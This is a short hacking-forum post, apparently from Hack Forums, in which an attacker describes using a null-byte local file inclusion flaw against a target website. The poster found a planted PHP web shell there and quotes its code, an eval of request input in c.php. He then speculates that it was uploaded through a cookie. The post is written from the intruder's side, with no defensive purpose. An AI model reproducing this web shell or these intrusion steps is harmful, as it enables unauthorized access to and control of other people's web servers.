+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Assistance required with understanding a particular upload vector. (/showthread.php?tid=6220419)
Assistance required with understanding a particular upload vector. - Mr. Robot - Sep 9, 2022
Alright so I have to keep this as vague as possible with still trying to provide as much information as I can.
In short:
There is a website - targetsite.com
We have an LFI vulnerability using %00 nullbytes.
In one of the web directories targetsite.com/test/test/c.php
Inside that c.php
Code
<?php @eval($_REQUEST[666]);?>No other files are in that directory, nor can I find any other traces of said file. I am unable to repeat the process nor use the c.php for any further gains on the system. I am absolutely confused and the only thing I can think of was it was uploaded before it was patched.
(No upload forms anywhere on the domain, post request doesn't seem to result in output)
I think I figured it out - it was a cookie upload.